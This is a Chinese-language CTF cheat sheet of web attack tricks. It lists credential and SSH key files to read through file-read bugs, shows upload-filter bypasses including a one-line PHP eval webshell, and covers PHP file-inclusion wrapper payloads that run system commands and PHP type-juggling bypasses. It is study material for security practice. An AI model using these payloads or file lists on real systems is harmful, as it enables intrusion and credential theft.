一些CTF 做题的tricks

 2020-07-01 

一些CTF 做题的tricks,东拼西凑放到这里,方便查找

任意文件读取路径汇总

任意文件读取漏洞和文件包含漏洞的表现相似,但是任意文件读取不能getshell,可以通过尝试读取相对路径的脚本文件,比如/read.php?file=index.php,如果可以读取到文件源码,说明是文件读取,如果不能读取到文件源码说明是文件包含。

下面收集的是一些常用的利用路径,应该够用了,以后也会及时更新,放在这便于以后的查阅和参考:


需要高权限读取的:

用户信息文件

1
2
3
4
/etc/passwd         # 用来记录每个拥有系统访问权的注册用户
/etc/shadow         # 密码信息,获取到后可用 John the Ripper 爆破
/root/.bash_history # 输入命令的历史记录,还有root外的其他用户
/root/.ssh/id_rsa   # 拿到私钥后可直接ssh登陆

### 系统信息文件

1
2
3
4
5
6
7
/etc/hosts          # 主机信息
/proc/version       # 内核版本
/proc/mounts        # 挂载的文件系统列表
/root/.bashrc       # 环境变量信息
/proc/net/route     # 路由表信息
/proc/net/arp       # arp表,可以获得内网其他机器的地址
/root/.viminfo      # vim 信息

程序运行信息

1
2
3
4
5
6
7
8
9
10
11
12
/proc/sched_debug   # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用

/proc/net/tcp       # 活动连接的信息
/proc/net/udp
/proc/net/fib_trie  # 路由缓存

/proc/[PID]/cmdline # 进程状态[pid],可能包含有用的路径信息,可以为0000-9999,可以暴力枚举
/proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd     # 当前进程的工作目录
/proc/[PID]/fd/[num]  # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log

/proc/self/fd/[0-99]  # 可能获取到当前运行进程的文件

获取当前进程信息

fuzz字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/proc/self/cmdline
/proc/self/stat
/proc/self/status
/proc/self/environ
/proc/verison
/proc/cmdline
/proc/self/cwd
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/16
/proc/self/fd/17
/proc/self/fd/18
/proc/self/fd/19
/proc/self/fd/20
/proc/self/fd/21
/proc/self/fd/22
/proc/self/fd/23
/proc/self/fd/24
/proc/self/fd/25
/proc/self/fd/26
/proc/self/fd/27
/proc/self/fd/28
/proc/self/fd/29
/proc/self/fd/30
/proc/self/fd/31
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version

系统信息相关:

1
2
3
4
5
6
7
/etc/issue
/proc/version
/etc/redhat-release
/etc/debian_version
/etc/slackware_version
/etc/*version
/proc/cpuinfo

一些默认路径

SSH

1
2
3
4
5
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure

Nginx

1
2
3
4
5
6
7
8
/etc/nginx/nginx.conf
/var/www/html
/usr/local/services/nginx-1.6.2/logs/access.log     #根据情况替换[version]
/usr/local/services/nginx-[version]/logs/error.log
/usr/local/services/nginx-[version]/nginx.conf
/usr/local/services/nginx-[version]/conf/nginx.conf
/usr/local/services/nginx-[version]/conf/proxy.conf
/usr/local/services/nginx-[version]/conf/extra/haolaiyao.conf

Apache

1
2
/home/httpd/
/home/httpd/www/

tomcat

1
2
/usr/local/services/apache-tomcat-8.0.23/logs       #根据情况替换[version]
/usr/local/services/apache-tomcat-[version]/logs/catalina.out

jetty

1
2
3
/usr/local/services/jetty-8.1.16/                   #根据情况替换[version]
/usr/local/services/jetty-8.1.16/logs/stderrout.log
/usr/local/services/jetty-8.1.16/etc/jetty.xml

resin

1
2
3
/usr/local/services/resin-4.0.44/                   #根据情况替换[version]
/usr/local/services/resin-4.0.44/conf/resin.xml
/usr/local/services/resin-4.0.44/conf/resin.properties

svn

1
/home/svnroot/

文件上传绕过


平常做ctf题的时候有很多上传的题目,有时候碰到了文件上传会不知道往哪里尝试绕过,所以在这里汇总平时遇到的一些绕过思路,以便以后卡克的时候速查。


Content-Type字段校验

Content-Type用于定义网络文件的类型和网页的编码,决定文件接收方将以什么形式、什么编码读取这个文件,绕过时只需更改Content-Type参数值即可。

常用Content-Type:

1
2
3
4
5
#图片文件
image/png   image/jpeg  image/gif

#文本文件
text/plain  text/xml    text/html

更多 -> HTTP Content-Type 对照表


文件头绕过

在木马内容基础上再加一些文件信息,比如文件的文件头。

其中.gif文件的文件头可以全部用ascii字符表示:

1
GIF89a <?php eval($_POST[1]); ?>

文件名绕过

后缀名绕过

后缀大小写绕过(linux下可以尝试)

.pHp .aSp

不常用后缀绕多

通过上传一些平时不怎么用的容易被人忽视的文件扩展名,来绕过一些验证。

1
2
3
4
.jsp  .jspa  .jspx  .jspw  .jspv  .jspf  .jtml      # jsp文件
.asp  .aspx  .asa   .asax  .ascx  .ashx  .asmx .cer # asp文件
.php  .php(1-*)     .phtml .phpt  .pht                      # php文件
.exe  .exee                                         # exe文件

利用windows系统文件命令规则绕过

windows系统会自动去掉不符合规则符号后面的内容

以下文件名都会被解析为test.php

1
2
3
4
test.php.
test.php(空格)
test.php:1.jpg
test.php::$DATA

.htaccess文件攻击

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

1
2
3
<FilesMatch "cimer">
SetHandler application/x-httpd-php
</FilesMatch>

通过.htaccess文件,调用php的解析器解析一个文件名只要包含“cimer”这个字符串的任意文件。

web应用程序解析绕过

Apache解析漏洞

一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错

IIS解析漏洞

IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,那么这个目录下所有的文件都会按照asp去解析.

1
/dirasp/1.jpg
1
因为文件名中有asp字样,所以该文件夹下的1.jpg文件打开时,会按照asp文件去解析执行

另一个是只要文件名中含有.asp、.asa、.cer会优先按 asp 来解析

1
1.asp.jpg

IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串/任意文件名.php就会按照php的方式去解析;

1
(任意文件名)/(任意文件名).php

Nginx解析漏洞

目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。

1
(任意文件名)/(任意文件名).php

还有一种是对低版本的Nginx(<=0.8.37)可以在任意文件名后面添加%00.php进行解析攻击。

1
(任意文件名)%00.php

0x00截断

0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符,这时就可能会产生0x00截断漏洞。

绕过方式也很简单,用像test.php%00.jpg的方式进行截断,或打开bp的hex窗口,替换文件名部分对应的字符为00即可
hex窗口
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J538U9hS-1593606332387)(https://s2.ax1x.com/2019/04/13/ALRMx1.png)]

php GD库渲染绕过

有时候上传图片到服务器后,服务器会将图片压缩成缩略图,php的GD库就是压缩图片的一个库,常用于生成缩略图,经过GD处理后的图片信息,如果包含利用代码,会被混淆的一塌糊涂,无法运行。

经php GD库渲染后的图片一般有如下特征字符串:

1
CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 80

但是国外大神已经写出了绕过GD库渲染的WEBSHELL图片生成器,于是这个也可以轻松绕过了

可以去这位大神的网站下载工具:jpg_payload

该工具的具体使用方法:

1
2
3
4
5
#首先需要安装php的gd库
apt-get install php-gd

#jpg_name.jpg是待GD处理的图片(需要先经过一次GD处理)
php jpg_payload.php <jpg_name.jpg>

生成好的图片,在经过如下代码处理后,依然能保留其中的shell:

1
2
3
<?php
    imagecreatefromjpeg('xxxx.jpg');
?>

php文件包含漏洞


原理

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

php文件包含漏洞通常由以下几个函数引发:

1
2
3
4
5
include()           #包含并运行指定文件,失败产生警告,脚本会继续运行。
include_once()      #若文件已经被包含过,则不会再次包含。

require()           #包含并运行指定文件,失败将导致脚本中止。
require_once()      #若文件已经被包含过,则不会再次包含。

当利用这四个函数来包含文件时,不管文件是什么类型,都会直接作为php文件进行解析,如果被包含的文件中无有效的php代码,则会直接把文件内容输出。

例如有如下代码:

1
2
3
4
<?php
    $file=$_GET['file'];
    include($file);
?>

在当前目录有一个flag.txt

在这里插入图片描述

只需访问?file=flag.txt,由于flag.txt文件中无有效的php代码,所以可以直接获取文件内容

example1-2

下面我们访问该目录下的另一个文件flag.php,其内容如下:

1
2
3
4
<?php
    echo "flag is here";
    $flag="flag{2333}";
?>

访问页面可看到如下内容,可以看到,php代码已经被解析了

在这里插入图片描述


分类

LFI(Local File Inclusion)
本地文件包含漏洞。顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。前面的例子就属于此类。

RFI(Remote File Inclusion)
远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性就会很大。

php中开启远程文件包含利用需要在php.ini中配置如下:

1
2
allow_url_fopen = On        #默认为On
allow_url_include = On      #php5.2之后就默认为Off

利用

目录遍历

1
2
3
<?php
    include("inc/" . $_GET['file']);
?>

linux中这两个文件储存着所有文件的路径,需要root权限:

1
2
?file=../../../../../../../../../var/lib/locate.db
?file=../../../../../../../../../var/lib/mlocate/mlocate.db

日志,配置文件

1
2
?file=../../../../../../../../../var/log/apache/error.log
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf

更多参见–>传送门<–


php伪协议

关于文件包含漏洞,比较常用的还有php的php://伪协议,详细的介绍请戳官方文档

这里比较常用的是:

1
2
php://input
php://filter

php://input

利用条件:

1
allow_url_include = On

修改配置文件:

在这里插入图片描述

即可如图所示利用:

php://filter

可获取文件内容

1
2
?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=php://filter/convert.base64-encode/resource=flag.php

关于文件名:有时服务端可能会自动拼接后缀名,例如提交page=upload可能会被拼接为ipload.php,所以在获取失败时不妨去掉后缀名试试。

通过指定末尾的文件,可以读取经base64编码后的文件源码

在这里插入图片描述

其它伪协议的利用

phar://

可获取压缩包中文件内容

事先得知道压缩文件目录结构

1
?file=phar://flag.zip/flag.txt

在这里插入图片描述

zip://

用法同上,但使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件才会包含成功

1
?file=zip://D:\phpStudy\PHPTutorial\WWW\flag.zip%23flag.txt

example5

data:URI schema

命令执行

1
2
3
?file=data:text/plain,<?php phpinfo();?>
?file=data:text/plain,<?php system('whoami');?>
?file=data:text/plain,<?php echo `whoami`;?>

执行效果如下:

example6

还可编码绕过:

1
2
3
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B             #phpinfo();
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==   #system('whoami');
?file=data:text/plain;base64,PD9waHAgZWNobyBgd2hvYW1pYDs/Pg==       #echo `whoami`;

php支持的协议种类

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
phar:// — PHP 归档
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
ssh2:// - Secure Shell 2
rar:// - RAR
ogg:// — 音频流
expect:// — 处理交互式的流

1
这些均可用于支持文件系统操作的函数例如fopen(),copy(),file_exists(), filesize()

测试用例:

1
2
3
<?php
echo file_get_contents($_GET['test']);
?>

1.file:// — 访问本地文件系统

1
2
3
直接传入路径即可,以file://开始可能会失败
如果不加以限制可能会泄露信息
访问:http://127.0.0.1/test.php?test=../phpStudy.ini

结果:

1
2
3
4
5
6
7
8
9
10
11
12
[phpStudy]
path=E:\phpStudy\
wwwroot=E:\phpStudy\WWW
yxms=0
phpver=phpa
cdyc=1
dirlist=1
version=2014
URL=www.phpstudy.net
nots=1
jsml=E:\phpStudy\WWW
autojs=0

2.http:// — 访问 HTTP(s) 网址

1
访问:http://127.0.0.1/test.php?test=http://127.0.0.1/test.php?test=test.php

结果:

1
2
3
<?php
echo file_get_contents($_GET['test']);
?>

3.ftp:// — 访问 FTP(s) URLs

1
这年头谁还用ftp啊

4.php:// — 访问各个输入/输出流(I/O streams)

1
这可是个重头戏

php://input,php://stdout,php://stderr 直接访问 PHP 进程相应的输入或者输出流
php://fd 允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。
php://memory 和 php://temp 是一个类似文件 包装器的数据流,允许读写临时数据。temp>2M时写入文件
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用 在双off时都可以使用,容易造成任意文件读取

1
传入:http://127.0.0.1/test.php?test=php://filter/read=convert.base64-encode/resource=./test.php

结果:

1
2
3
PD9waHANCmVjaG8gZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ3Rlc3QnXSk7DQo/Pg==  
这里用的是read=筛选列表,使用了convert.base64-encode这个过滤器,resource=要过滤的数据  
注意:(read/write可用省略)任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链

5.zip://,bzip2://, zlib:// — 压缩流

1
2
3
4
双off也可以用
用于读取压缩文件,注意#需要进行url编码
#前为压缩文件路径,后为压缩文件内的文件名
zip://test.zip%23file.txt

6.phar:// — PHP 归档

1
2
3
同上
注意压缩文件必须要后缀(可以是任意后缀)
phar://test.zip/test.php

结果:

1
2
3
<?php
echo file_get_contents($_GET['test']);
?>

7.data:// — 数据(RFC 2397)

1
2
很常用的数据流构造器 , 将读取后面base编码字符串后解码的数据作为数据流的输入
一般用于构造输入:data://text/plain;base64,SSBsb3ZlIFBIUAo=

结果:

1
I love PHP

8.glob:// — 查找匹配的文件路径模式

1
2
用于查找文件,但是没法直接使用
需要DirectoryIterator()

9-12.ssh2,rar,ogg,expect

PHP变量覆盖漏洞

变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击

经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数,import_request_variables()使用不当,开启了全局变量注册等

0x1 $$引起的变量覆盖问题

有如下代码

1
2
3
4
5
6
<?php
@error_reporting(1);
$id=$_GET['id'];
$flag=file_get_contents('flag');
echo $$id;
?>

当我们输入url?id=flag时,即可获得flag文件里的内容,这里是因为当我们给id赋值为flag时$id='falg',flag变量里存储了flag文件里的内容,所以我们只要能获取到变量flag里的内容就可以得到flag了,当执行到echo $$id;时,注意到有两个

,PHP,符号,PHP从右开始解析变量,所以```

符号,PHP从右开始解析变量,所以‘‘‘id右边的

idflagid```解析为```flag```再和左边的```

id‘‘‘解析为‘‘‘flag‘‘‘再和左边的‘‘‘符号组合成$flag```变量最后输出,即可拿到flag

0x2 extract()函数变量覆盖问题

首先介绍一下extract()函数的作用
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

以bugku中的一道题作为例子
extract变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>

可以看到源码第三行使用了extract($_GET);来提取从$_GET方式获得的变量,并且在代码的第六行有if($shiyan==$content)的判断来决定是否输出flag,由于我们并不知道flag文件里的内容所以无法是判断成立,但是由于extract函数存在变量覆盖的问题,这里我们注意到代码中关键的一点是$flag变量是在extract()函数调用前赋的值,所以这里我们可以用extract()函数对flag变量进行覆盖,这题的payload为

http://123.206.87.240:9009/1.php?shiyan=&flag=

即可拿到flag

解释一下这里我们并未对shiyan这个变量赋值所以为NULL,同理我们给flag不赋值,或者随便赋值(即一个不存在的文件名),让file_get_contents()这个函数获取flag文件里的内容时找不到文件即为NULL,所以if($shiyan==$content)两个变量都为NULL,条件成立输出flag

0x3 parse_str()函数变量覆盖问题

parse_str() 函数把查询字符串解析到变量中,如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量.

代码示例

1
2
3
4
5
6
<?php
parse_str("a=1");
echo $a."<br/>";      //$a=1
parse_str("b=1&c=2",$myArray);
print_r($myArray);   //Array ( [c] => 1 [b] => 2 )
?>

parse_str()类似的函数还有mb_parse_str(),用法基本一致。

0x4 import_request_variables变量覆盖

import_request_variables 函数可以在 register_global = off 时,把 GET/POST/Cookie 变量导入全局作用域中.

示例代码

1
2
3
4
5
6
<?php
import_request_variables("g", "get_");
echo $get_id;
?>
//提交:?id=111
//结构:111

此篇主要是做笔记,记录PHP中的变量覆盖问题,不论是CTF还是实际场景中都可能遇到,所以放在这里,方便以后查看
文中部分内容来自
https://www.cnblogs.com/xiaozi/p/7768580.html
需要安装扩展

PHP一些有"漏洞"的函数

声明:以下部分内容或者代码来自互联网,搬到这里是做一下笔记,部分内容来自https://blog.csdn.net/qq_31481187/article/details/60968595

strcmp函数绕过

strcmp ( string $str1 , string $str2 ) : int

str1第一个字符串 str2第二个字符串。
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

利用strcmp函数将数组或者对象类型与字符串进行比较会返回-1,但是从5.3开始,会返回0

示例

1
2
3
4
5
6
7
8
9
10
<?php
  error_reporting();
  $id=$_GET['id'];
  if(strcmp('ssss',$id)==0){
      //YES
   }
  else{
      //NO
  }
?>

当输入id[]=时,if(strcmp('ssss',$id))条件成立,就会输出YES

urldecode二次编码绕过

bugku例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("

not allowed!

");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "
Access granted!

";
echo "
flag

";
}
?>

eregi — 不区分大小写的正则表达式匹配,本函数和 ereg() 完全相同,只除了在匹配字母字符时忽略大小写的区别。

%的url编码为%25,而字符a的url编码为%61,所以构造?id=h%2561ckerDJ,第一次URL解码为h%61ckerDJ,所以在第一个if语句绕过匹配,下面再次调用urldecode()函数,解码为hackerDJ,条件成立输出flag

md5()函数引发的问题

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

常见的payload有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
md5()
md5(QNKCDZO)
0e830400451993494058024219903391
 
md5(s878926199a)
0e545993274517709034328855841020
 
md5(s155964671a)
0e342768416822451524974117254469
 
md5(s214587387a)
0e848240448830537924465865611904
 
md5(s214587387a)
0e848240448830537924465865611904

sha1()

sha1('aaroZmOk')  
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')

同时md5()和sha1()不能处理数组,若有以下判断则可用数组绕过

1
2
3
4
5
6
7
8
9
if(@md5($_GET['a']) == @md5($_GET['b']))
{
    echo "yes";
}

if(@sha1($_GET['a']) == @md5($_GET['b']))
{
    echo "yes";
}

ereg函数漏洞

ereg()只能处理字符串的,遇到数组做参数返回NULL

00截断

正则表达式匹配以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。
如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs,则匹配项将被存入 regs 数组中。$regs[1]包含第一个左圆括号开始的子串,$regs[2]包含第二个子串,以此类推。$regs[0] 包含整个匹配的字符串。

如果在 string 中找到 pattern 模式的匹配则返回 所匹配字符串的长度,如果没有找到匹配或出错则返回 FALSE。如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0,则本函数返回 1

ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以这里可以使用%00截断正则匹配,如如果输入123%00|||

变量本身的key

说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。如

1
2
3
4
5
6
7
8
<?php
foreach ($_GET AS $key => $value)
{
  print $key."\n";

}

?>

由类型转换引发的问题

intval()函数

获取变量的整数值,通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1

Note:
**如果 base 是 0,通过检测 var 的格式来决定使用的进制: **

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。

举一个西电的ctf题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
    if ($value[$i] > 32 && $value[$i] < 127) unset($value);
    else $username .= chr($value[$i]);
    if ($username == 'w3lc0me_To_xid1an' && intval($password) < 232 && intval($password + 1) > 233) {
        echo 'Hello '.$username.'!', '<br>', PHP_EOL;
        echo $flag, '<hr>';
    }
}

highlight_file(__FILE__);
  1. chr函数在转换时会自动取模256,所以我们只需要在原本ascii码基础上+256即可
  1. intval()在处理16进制时存在问题,经过测试在intval('0x123',16)转换正常,而intval('0x123')时会出错返回0,通过上面的函数介绍,可知在指定base为0的时候,才会处理'0x123'此类字符串作为16进制转换,否则按十进制转换;而在强制转换时,即intval($password + 1)时,里面的password+1时,已经做了转换,所以再用intval()函数时就不会出错

switch()

如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。如下:

1
2
3
4
5
6
7
8
9
10
<?php
$i ="2ssss";  
switch ($i) {  
case 0:  
case 1:  
case 2:  
    echo "YES";  
break;  
}
?>

则会输出YES,这里是由于switch()对参数进行了类型转换

in_array()

1
2
3
$array=[0,1,2,'3'];  
var_dump(in_array('abc', $array)); //true  
var_dump(in_array('1bc', $array)); //true

可以看到上面的情况返回的都是true,因为’abc’会转换为0,'1bc’转换为1。 在所有php认为是int的地方输入string,都会被强制转换

unset()

unset($var);用来销毁指定的变量,如果变量var 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php  
// http://127.0.0.1/index.php?_CONFIG=123
$_CONFIG['extraSecure'] = true;

foreach(array('_GET','_POST') as $method) {
    foreach($$method as $key=>$value) {
      // $key == _CONFIG
      // $$key == $_CONFIG
      // 这个函数会把 $_CONFIG 变量销毁
      unset($$key);
    }
}

if ($_CONFIG['extraSecure'] == false) {
    echo 'flag {****}';
}
?>

is_numeric

PHP提供了is_numeric函数,用来变量判断是否为数字。但是函数的范围比较广泛,不仅仅是十进制的数字

1
2
3
4
5
6
7
<?php
echo is_numeric(233333);       # 1
echo is_numeric('233333');    # 1
echo is_numeric(0x233333);    # 1
echo is_numeric('0x233333');   # 1
echo is_numeric('233333abc');  # 0
?>

preg_match

如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题

1
2
3
4
5
6
7
8
<?php
$ip = '1.1.1.1 abcd'; // 可以绕过
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
  die('error');
} else {
   echo('key...');
}
?>

持续更新中…